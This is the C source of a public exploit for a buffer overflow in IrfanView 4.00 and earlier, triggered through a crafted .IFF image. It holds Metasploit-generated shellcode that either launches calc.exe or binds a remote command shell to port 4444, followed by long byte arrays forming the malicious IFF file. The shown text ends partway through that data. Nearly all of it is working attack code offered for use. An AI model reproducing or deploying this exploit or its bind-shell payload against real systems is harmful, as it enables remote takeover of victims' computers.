/******************************************************************************
*                                                                             *
*                IrfanView <= 4.00 .IFF File Buffer Overflow                  *
*                                                                             *
*                                                                             *
* IrfanView is vulnerable to an unspecified buffer overflow when processing a *
* crafted .IFF file.                                                          *
* This exploit runs calc.exe or binds shell to port 4444.                     *
*                                                                             *
* Tested against Win XP SP2 FR.                                               *
* Have Fun!                                                                   *
*                                                                             *
* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                  *
******************************************************************************/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=138 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8"
"\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff"
"\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


/* win32_bind -  EXITFUNC=process LPORT=4444 Size=317 Encoder=None http://metasploit.com */
unsigned char BindShellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\x7e\xd8\xe2\x73\x53\xff\xd6\xff\xd0";



char iff_file_part1[] =
"\x46\x4f\x52\x4d\x00\x01\x0b\x7e\x49\x4c\x42\x4d\x42\x4d\x48\x44"
"\x00\x00\x00\x14\x01\xfd\x01\xb6\x00\x00\x00\x00\x08\x00\x01\x00"
"\x00\x00\xc7\xc7\x01\xfd\x01\xb6\x43\x4d\x41\x50\x00\x00\x0c\x00"
"\x1b\x1b\x19\xff\xff\xff\xbc\xd7\xea\xef\x64\x2e\x73\xa9\xd2\xd9"
"\xd9\xd9\x13\x6e\xb6\x00\x68\xb4\x70\x70\x70\xf0\x92\x6c\x2e\xcc"
"\xcc\xfa\xf2\xe6\x99\x99\x99\x50\x94\xc5\xf1\xe9\xe6\xf7\xad\x32"
"\xac\xb4\xb4\x4d\x4b\x48\xf0\xc9\xb4\xab\x85\x38\xe0\xe9\xef\xec"
"\xe5\xde\xef\xb4\x98\x2e\x80\xbc\xe5\x98\x3a\x8c\x8c\x8c\xef\xe0"
"\xd3\xa6\xc4\xd9\x33\x33\x33\x8c\xb6\xd5\xc6\xd5\xdd\xfa\xf7\xf3"
"\xfe\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x92\x09\x45\x92\x09\x4e\x12\x23\x88\x02\x00\x24\x12"
"\x21\x74\x00\x00\x02\x92\x41\x90\xfd\x90\x00\x91\x10\x05\x12\x20"
"\x1c\x00\x00\x00\x12\x20\xec\x91\xee\x18\x92\x09\x70\x98\xe4\xc0"
"\x92\x3e\x6f\x92\x3e\x62\x00\x02\x08\x12\x24\x2c\x12\x24\x04\x92"
"\x09\x45\x92\x09\x4e\x12\x23\xd8\x02\x00\x24\x12\x21\xc4\x00\x00"
"\x02\x92\x41\x90\xfd\x90\x00\x91\x10\x05\x12\x20\x6c\x00\x00\x00"
"\x12\x21\x3c\x91\xee\x18\x92\x09\x70\x98\xe4\xc0\xec\x3e\x6f\x92"
"\x3e\x62\x00\x02\x08\x12\x24\x7c\x12\x24\x54\x12\x20\xe8\xaf\x00"
"\x00\x92\x07\x32\x00\x00\x51\xaf\x15\xb8\xaf\x00\x00\x3f\xa0\x50"
"\x12\x20\xc0\x00\x00\x18\x12\x23\x04\x91\xee\x18\x92\x07\x38\xff"
"\xff\xff\x92\x07\x32\x92\x06\xab\x92\x06\xeb\x12\x23\xc8\x00\x02"
"\x80\x00\x00\x00\x92\x06\xab\x92\x06\xeb\x58\x90\x08\x00\x00\xb4"
"\x00\x04\x38\x00\x00\x00\x00\x05\x00\x00\x21\xc6\x00\x00\x00\xfd"
"\xfc\x64\x92\x09\x45\x92\x09\x4e\x00\x65\x68\x12\x20\xa8\x12\x24"
"\x54\x12\x23\xe8\x91\xee\x18\x12\x24\x7c\x00\x00\x08\x12\x23\xf8"
"\x92\x40\x2e\x15\x20\xa8\x12\x21\xd0\x92\x09\x70\x98\xe4\xc0\x92"
"\x40\xef\x92\x40\xbb\x00\x00\x00\xfd\xfc\x00\x00\x80\x01\x57\x00"
"\xd0\x00\x00\x36\x12\x21\x70\x44\x00\x5c\x00\x00\x00\x0a\x00\x08"
"\x92\x3e\x88\x00\x02\x1a\x00\x00\x00\x92\x06\xab\xe2\x00\x00\x12"
"\x24\x7c\x00\x00\x64\x00\x00\x00\x00\x00\x10\x6f\x00\x5a\x66\x00"
"\x64\xfd\xfc\x00\x12\x21\xd0\x00\x00\x02\x15\x20\xa0\x00\x00\x7a"
"\x58\x90\x08\x44\x00\x5c\x63\x00\x6f\x6d\x00\x75\x6e\x00\x65\x73"
"\x00\x74\x61\x00\x20\x64\x00\x6e\x53\x00\x20\x74\x00\x65\x69\x00"
"\x74\x67\x00\x6e\x00\x00\x10\x12\x22\x38\xaf\x00\x00\x92\x07\x32"
"\x00\x00\x03\xaf\x07\x18\xaf\x00\x00\x45\xa6\x50\x12\x22\x10\x64"
"\x00\x5c\x12\x24\x54\x91\xee\x18\x92\x07\x38\xff\xff\xff\x92\x07"
"\x32\x92\x06\xab\x92\x06\xeb\x96\x86\x20\x00\x00\x0c\x00\x00\x00"
"\xaf\x00\x00\x12\x22\x64\x00\x00\x00\x92\x05\xc8\x49\x7b\xc8\x12"
"\x23\x30\x92\x05\x51\xaf\x0b\x08\x92\x05\x6d\x49\x7b\xd0\x49\x7b"
"\xd0\x49\x7b\xd4\x58\x90\x00\xaf\x01\x78\x12\x23\x30\x58\x90\x08"
"\x00\x00\x00\x80\x18\x98\x00\x00\x00\x57\x00\xd0\x12\x25\x0c\x5a"
"\x0f\x70\x12\x22\xdc\x00\x00\x00\x00\x01\x00\x28\x54\x28\x12\x25"
"\x0c\x00\x00\x09\x46\x49\x47\xfd\x61\x39\xd5\x01\xb6\x1b\x1b\x00"
"\xff\xff\xff\xef\xea\xd7\xa9\x73\x2e\xd9\xd9\xd9\x00\xb6\x6e\x70"
"\x70\xb4\x6c\x92\xf0\xfa\xcc\xcc\x99\x99\xe6\xc5\x94\x50\xf7\xe6"
"\xe9\xb4\xac\x32\x48\x4b\x4d\xab\xb4\xc9\xe9\xe0\x38\xde\xe5\xec"
"\x43\x41\x4d\x47\x00\x00\x00\x04\x00\x00\x00\x00\x42\x4f\x44\x59"
"\x00\x01\x08\x42\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00"
"\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00"
"\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00"
"\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xdc\x00"
"\x00\x04\xe7\x00\xdc\x00\x00\x04\xe7\x00\xdc\x00\x00\x04\xe7\x00"
"\xdc\x00\x00\x04\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xea\xff\x00\xef"
"\xf7\xff\x03\xfb\xef\x3f\x78\xe8\xff\x00\xf8\xdf\x00\x03\x04\x10"
"\x40\x41\xe7\x00\xeb\x00\x00\xc0\xf4\x00\x01\x41\x56\xe7\x00\xdf"
"\x00\x03\x04\x30\x40\xc7\xe7\x00\xea\x00\x00\x18\xf7\x00\x03\x03"
"\xe0\x80\x5e\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xeb\xff\x01\x7f\xe7"
"\xf7\xff\x03\xfc\xa7\x7e\x72\xe8\xff\x00\xf8\xdd\x00\x01\x01\x64"
"\xe7\x00\xdf\x00\x00\x01\xff\x00\x01\x60\x80\xe8\x00\xeb\x00\x00"
"\x80\xf6\x00\x03\x05\xc8\x81\x6e\xe7\x00\xeb\x00\x01\x40\x10\xf7"
"\x00\x03\x04\xa0\x40\x72\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xeb\xff"
"\x01\x3f\x87\xff\xff\x00\xdd\xfc\xff\x05\xef\xf7\xff\xe7\x9e\x66"
"\xe8\xff\x00\xf8\xea\x00\x04\x60\x00\xa0\x22\x01\xfe\x00\x07\x20"
"\x50\x08\x00\x10\x01\x09\x80\xe8\x00\xec\x00\x05\x01\x20\x69\x80"
"\xe0\x63\xff\x03\x04\x01\x80\x60\x70\x18\xfe\x00\x01\xa8\x80\xe8"
"\x00\xea\x00\x04\x68\x00\xa0\x22\x01\xfe\x00\x07\x20\x50\x08\x04"
"\x14\xa1\x89\x80\xe8\x00\xec\x00\x05\x01\x00\x18\x80\xa0\x40\xff"
"\x01\x09\x00\x80\x20\x40\x00\x06\x04\x80\xa0\x80\xe8\x00\xc1\x00"
"\xc1\x00\xc1\x00\xec\xff\x10\xfe\x3f\x81\x7e\x4d\x97\x38\x73\xb9"
"\xfa\x4f\x2f\xd3\xff\xf1\x0e\x67\xe8\xff\x00\xf8\xea\x00\x00\x04"
"\xff\x02\x00\x08\xff\x00\x08\x40\x00\x01\x00\x02\x00\x0a\x01\x60"
"\xe7\x00\xeb\x00\x0f\x02\x4a\xa2\xa0\x48\xc3\x04\x02\x20\xa1\x54"
"\x2a\x00\x02\x20\xf0\xe7\x00\xec\x00\x10\x01\xc0\xce\x83\xb2\xc8"
"\xc7\x0c\x42\x00\xa1\xd0\x6e\x04\x0a\xf1\xf8\xe7\x00\xeb\x00\x05"
"\x23\xfb\xc2\xe1\xe7\x83\xff\x87\x07\xc7\xf1\x78\x7a\x06\x00\x20"
"\xf0\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xec\xff\x10\xfc\x9e\xe1\x9f"
"\xcc\x73\x30\x7a\xb1\x59\x4e\xf9\x19\xff\xf9\x26\x63\xe8\xff\x00"
"\xf8\xec\x00\x0c\x02\x40\x01\x00\x22\x11\x82\x07\x01\x80\xc2\x22"
"\x31\xff\x00\x01\x21\x52\xe7\x00\xec\x00\x02\x02\xd2\x45\xff\x90"
"\x0b\x5b\x42\x03\x21\x90\x4b\x76\x1b\x00\x04\x28\xc2\xe7\x00\xec"
"\x00\x0c\x02\x40\x05\x40\x32\x9d\xe2\x07\x81\xc0\xc3\x2e\xb7\xff"
"\x04\x01\xe9\xd6\xe7\x00\xeb\x00\x0b\x02\x97\x83\x18\x5b\x69\x9a"
"\x8b\x45\x6b\xac\x13\xff\x06\x01\x20\xc2\xe7\x00\xc1\x00\xc1\x00"
"\xc1\x00\xec\xff\x0c\xfd\xce\x63\xd9\xf2\xef\x81\xcf\xf3\xf9\xf7"
"\xff\x3e\xff\xff\x01\x22\x78\xe8\xff\x00\xf8\xea\x00\x06\x84\x00"
"\x14\x00\x5a\x00\x30\xff\x00\x01\x02\x40\xff\x00\x01\x11\x41\xe7"
"\x00\xeb\x00\x0b\x02\x00\x06\x12\x80\x72\x30\x78\x01\x00\x07\x41"
"\xfe\x00\x00\xcf\xe7\x00\xec\x00\x09\x02\x30\x84\x26\x14\x10\x7a"
"\x30\x38\x20\xff\x02\x04\x41\x04\x02\xd1\xc7\xe7\x00\xec\x00\x0a"
"\x01\x02\x10\x12\x10\x08\x20\x10\x7c\x34\x1b\xff\x02\xff\x06\x01"
"\x04\xce\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xec\xff\x10\xfc\xc6\xe7"
"\xcf\xf2\xe7\xc8\xff\xf7\xc9\xfc\xfe\x7c\xff\xfd\x33\x7e\xe8\xff"
"\x00\xf8\xec\x00\x06\x04\x08\x00\x20\x00\x80\x10\xf8\x00\x01\x40"
"\x80\xe8\x00\xec\x00\x0b\x05\x2b\x88\x00\x03\x98\x01\x00\x10\x32"
"\x02\x01\xff\x00\x03\x02\x03\xc1\x80\xe8\x00\xec\x00\x0a\x05\x29"
"\x08\x22\x0d\x98\x15\x10\x00\x32\x0a\xff\x01\x04\x04\x02\xc0\xc1"
"\x80\xe8\x00\xec\x00\x11\x05\xe3\x18\x06\x01\x9f\xc0\x30\x07\xf6"
"\x1b\x00\x7c\x06\x04\x08\xc3\x80\xe8\x00\xc1\x00\x0f\x00\xc1\x00"
"\xec\xff\x11\xfc\x0e\xe7\xcf\xf2\xe8\x3c\xff\xe0\x39\xfc\xfe\x02"
"\xff\xf9\x38\x7e\x7f\xe9\xff\x00\xf8\xe9\x00\x06\x20\x00\x87\xd0"
"\x00\x17\xc0\xff\x00\x04\x7d\x00\x0a\x00\x40\xe7\x00\xec\x00\x06"
"\x03\xf3\x88\x00\x03\x90\x32\xff\x00\x08\x32\x02\x01\x83\x00\x08"
"\x04\xc1\x80\xe8\x00\xec\x00\x11\x07\xf9\x08\x22\x0d\x9f\xd2\x90"
"\x17\xc2\x0a\x01\xfd\x04\x0a\xc4\xc1\x80\xe8\x00\xec\x00\x10\x06"
"\x19\x18\x06\x01\x98\x10\xb0\x00\x16\x1b\x00\x80\x06\x08\x01\xc1"
"\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xec\xff\x0c\xf9\xe6\xe3\xd9\xf2"
"\xef\xde\x4f\xf3\xd9\xfc\xff\x7d\xff\xff\x02\x3e\x4e\x7f\xe9\xff"
"\x00\xf8\xec\x00\x08\x08\x14\x04\x00\x14\x80\x01\x00\x30\xfe\x00"
"\x00\x41\xe3\x00\xec\x00\x0c\x08\x07\x80\x06\x13\x80\x40\x20\x78"
"\x12\x01\x05\x43\xfe\x00\x00\x90\xe7\x00\xec\x00\x11\x08\x15\x04"
"\x26\x15\x90\x01\x20\x38\x02\x0b\x00\x43\x04\x00\xc2\x91\x80\xe8"
"\x00\xec\x00\x10\x0a\x07\x10\x12\x11\x88\x20\x00\x3c\x26\x19\x00"
"\x41\x06\x0c\x02\xa0\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xec\xff\x11"
"\xfb\xf4\xe1\x9f\x44\xe3\x30\x73\xb1\x89\xfe\xb1\x14\xfc\x07\x3e"
"\x44\x7f\xe9\xff\x00\xf8\xeb\x00\x10\x02\x01\x00\xe2\x91\x02\x06"
"\x01\x10\x02\x62\x39\x01\x80\x00\x04\x80\xe8\x00\xec\x00\x10\x04"
"\x0a\x85\x90\x50\x9b\x06\x8b\x21\x80\x03\x36\x53\x02\x34\x00\x0c"
"\xe7\x00\xec\x00\x11\x0c\x0e\x05\x40\xfa\x9d\x27\x8e\x81\x50\x0b"
"\x6e\xfb\x07\xb0\xc1\x0c\x80\xe8\x00\xec\x00\xff\x0c\x0e\x17\x13"
"\x50\x8b\xa8\x9a\x8b\x04\x1b\xa4\x56\x06\x54\x00\x26\xe7\x00\xc1"
"\x00\xc1\x00\xc1\x00\xec\xff\x10\xfb\xf5\xe1\x7e\x4d\xf7\x32\xf3"
"\xb9\x7b\xe7\x3f\xd3\xf8\x07\xff\xe0\xe8\xff\x00\xf8\xeb\x00\x01"
"\x02\x04\xff\x02\x0b\x88\x08\x00\x40\x00\x01\x00\x02\x00\x08\x00"
"\x40\xe7\x00\xeb\x00\x0f\x02\x82\xa2\xa0\x88\xc5\x84\x02\xa0\x09"
"\x44\x2a\x03\xe8\x00\x45\xe7\x00\xeb\x00\x0f\x02\x0e\x83\xb2\x88"
"\xcd\x0c\x42\x80\x19\xc0\x6e\x03\xf8\xc0\xc5\xe7\x00\xec\x00\x04"
"\x0c\x0d\x93\xe2"
;

char iff_file_part2[] = 
"\xe1\xff\x87\x09\x07\x87\xc6\x01\x78\x7a\x07\xe0\xc0\xd4\xe7\x00"
"\xc1\x00\xc1\x00\xc1\x00\xe9\xff\x08\x7f\xff\xfd\xff\xfe\xff\x7f"
"\xff\xef\xfd\xff\x00\xf9\xe8\xff\x00\xf8\xec\x00\x00\x08\xff\x00"
"\x0d\x80\xa0\x02\x00\x01\x00\x80\x00\x50\x28\x01\x80\x00\x0e\xe7"
"\x00\xec\x00\x10\x08\x00\x01\x80\xe0\x03\x02\x03\x01\x80\x00\x70"
"\x38\x01\x80\x00\x0a\xe7\x00\xec\x00\x00\x08\xff\x00\x0d\x80\xa0"
"\x02\x00\x01\x00\x80\x00\x50\x28\x01\x80\x00\x0e\xe7\x00\xec\x00"
"\x00\x08\xfe\x00\x00\xa0\xfb\x00\x05\x40\x28\x01\x80\x00\x08\xe7"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00"
"\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2"
"\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00"
"\xef\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2"
"\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x41\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00"
"\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2"
"\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00"
"\xf8\xc1\x00\xc1\x4f\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc2"
"\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1"
"\x00\xc1\x00\xc1\x00\xc1\x00\xe7\xff\x01\xfe\x3f\xff\xff\x01\xfe"
"\x7f\xff\xff\x01\xfe\x73\xe6\xff\x00\xf8\xe7\x00\x00\x01\xf9\x00"
"\x00\x84\xe5\x00\xe7\x00\x00\x01\xdc\x00\xe7\x00\x01\x01\x80\xfe"
"\x00\x00\x80\xfe\x00\x00\x8c\xe5\x00\xe6\x00\x00\x40\xff\x00\x00"
"\x01\xfe\x00\x00\x01\xe4\x00\xc1\x00\xc1\x00\xc1\x00\xe7\xff\x01"
"\xfe\x3f\xff\xff\x00\xfe\xfe\xff\x00\xfe\xe5\xff\x00\xf8\xe7\x00"
"\x00\x01\xdc\x00\xe3\x00\x00\x01\xe0\x00\xe7\x00\x01\x01\x40\xff"
"\x00\x00\x01\xfd\x00\x00\x80\xe5\x00\xe3\x00\x01\x01\x80\xfe\x00"
"\x00\x8c\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xe3\xff\x01\xfe\x7f\xff"
"\xff\x01\xfe\x73\xe6\xff\x00\xf8\xe6\x00\x00\x40\xdd\x00\xe6\x00"
"\x00\xc0\xff\x00\x00\x02\xfe\x00\x01\x01\x80\xe5\x00\xe6\x00\x00"
"\x40\xfb\x00\x01\x01\x80\xe5\x00\xe6\x00\x00\x40\xff\x00\x01\x02"
"\x80\xff\x00\x01\x01\x08\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xea\xff"
"\x0c\xfe\x78\xff\x8f\x7c\x7f\x9f\xfc\x7d\xe3\xfc\x7e\x7b\xe6\xff"
"\x00\xf8\xea\x00\x01\x09\x40\xff\x10\x00\xd2\xfe\x00\x03\x80\x12"
"\x00\x44\xe4\x00\xea\x00\x0c\x0c\xc2\x30\xe0\xda\xc0\xf0\x00\x97"
"\x0a\x01\x47\x4a\xe5\x00\xea\x00\x0c\x09\xc2\x10\x70\xd2\x80\x60"
"\x00\x82\x1a\x01\x45\x80\xe5\x00\xea\x00\x0b\x0c\x45\x10\x00\x51"
"\x40\x00\x02\x01\x06\x02\xc5\xe4\x00\xc1\x00\xc1\x00\xc1\x00\xea"
"\xff\x0c\xf0\xa0\x0e\x03\x20\x1e\x07\xfe\xe4\xc0\xf0\x18\x79\xe6"
"\xff\x00\xf8\xea\x00\x02\x08\x40\x12\xfc\x00\x03\x01\x00\x08\x04"
"\xe4\x00\xea\x00\x0b\x05\x47\xa2\x78\x8b\x80\x60\x01\x12\x7d\x07"
"\x82\xe4\x00\xea\x00\x0b\x0f\x47\xb3\x78\x8b\x81\x68\x03\x1b\x3d"
"\x0f\x86\xe4\x00\xea\x00\x0c\x05\x97\xe2\x7c\xdf\xa0\x60\x03\x16"
"\x3c\x07\xa2\x42\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xea\xff\x0c\xf1"
"\xcf\x0e\xf1\x21\x8c\x73\xfd\xe7\x2c\x73\xcc\xbb\xe6\xff\x00\xf8"
"\xea\x00\x06\x09\x24\x10\x12\x00\x10\x80\xff\x00\x03\x90\x02\x16"
"\x40\xe5\x00\xea\x00\x0c\x03\x04\x81\x92\x04\x50\x18\x00\x04\x92"
"\x12\x07\x44\xe5\x00\xea\x00\x0c\x0b\x2c\x91\x1a\x04\x52\x8c\x02"
"\x00\x92\x06\x57\xc6\xe5\x00\xea\x00\x0c\x03\x0c\x03\x10\x56\x00"
"\x08\x01\x00\x20\x82\x45\x86\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xea"
"\xff\x0c\xf1\xcf\x99\xfb\x23\xc9\xf9\xfe\xe7\x3f\x7f\xce\x7d\xe6"
"\xff\x00\xf8\xea\x00\x06\x08\x00\x01\x04\x00\x04\x0a\xfe\x00\x00"
"\x40\xe3\x00\xe9\x00\x05\x20\x15\x04\x00\x01\x08\xff\x00\xff\x40"
"\x01\x11\x80\xe5\x00\xea\x00\x0c\x08\x30\x45\x04\x00\x04\x0a\x01"
"\x08\xc1\x40\x31\x82\xe5\x00\xea\x00\x0c\x02\x20\x01\x00\x54\x11"
"\x08\x02\x00\x41\x58\x11\x04\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xea"
"\xff\x0c\xf3\xdf\xcd\xff\x23\xdc\x03\xfd\xe7\x3e\x27\xee\xfd\xe6"
"\xff\x00\xf8\xea\x00\x04\x08\x00\x10\x00\x04\xfd\x00\x01\x01\x40"
"\xe3\x00\xea\x00\x0b\x02\x50\x40\x00\x04\x20\x00\x02\x08\x41\x00"
"\x29\xe4\x00\xea\x00\x0c\x08\x00\x12\x00\x04\x35\xfa\x03\x08\x41"
"\x40\x01\x82\xe5\x00\xe8\x00\x05\x04\x00\x50\x34\x02\x03\xff\x00"
"\x02\x08\x01\x84\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xea\xff\x0c\xf3"
"\x8f\x89\xff\x27\xd9\x05\xfd\xe7\x3f\x27\xc6\xfd\xe6\xff\x00\xf8"
"\xea\x00\x00\x08\xff\x50\xfe\x00\x00\x02\xfe\x00\xff\x28\xe4\x00"
"\xea\x00\x02\x02\x10\x46\xff\x00\x02\x22\x00\x02\xff\x00\x01\x20"
"\x21\xe4\x00\xea\x00\x02\x08\x50\x56\xff\x00\x02\x37\xfe\x03\xff"
"\x00\x02\x28\x29\x82\xe5\x00\xea\x00\x0c\x02\x00\x04\x00\x50\x33"
"\x04\x03\x08\x40\x60\x01\x84\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xea"
"\xff\x00\xf3\xff\x8f\x09\xff\x27\xdd\xff\xfd\xe7\x7f\x27\xce\xfd"
"\xe6\xff\x00\xf8\xea\x00\x00\x08\xff\x50\xfa\x00\x01\x40\x20\xe4"
"\x00\xea\x00\x01\x02\x40\xfe\x00\x06\x22\x00\x02\x00\x81\x00\x09"
"\xe4\x00\xea\x00\x00\x08\xff\x50\xff\x00\x07\x36\x00\x03\x00\xc0"
"\x40\x21\x82\xe5\x00\xea\x00\x0c\x02\x00\x06\x00\x50\x36\x00\x03"
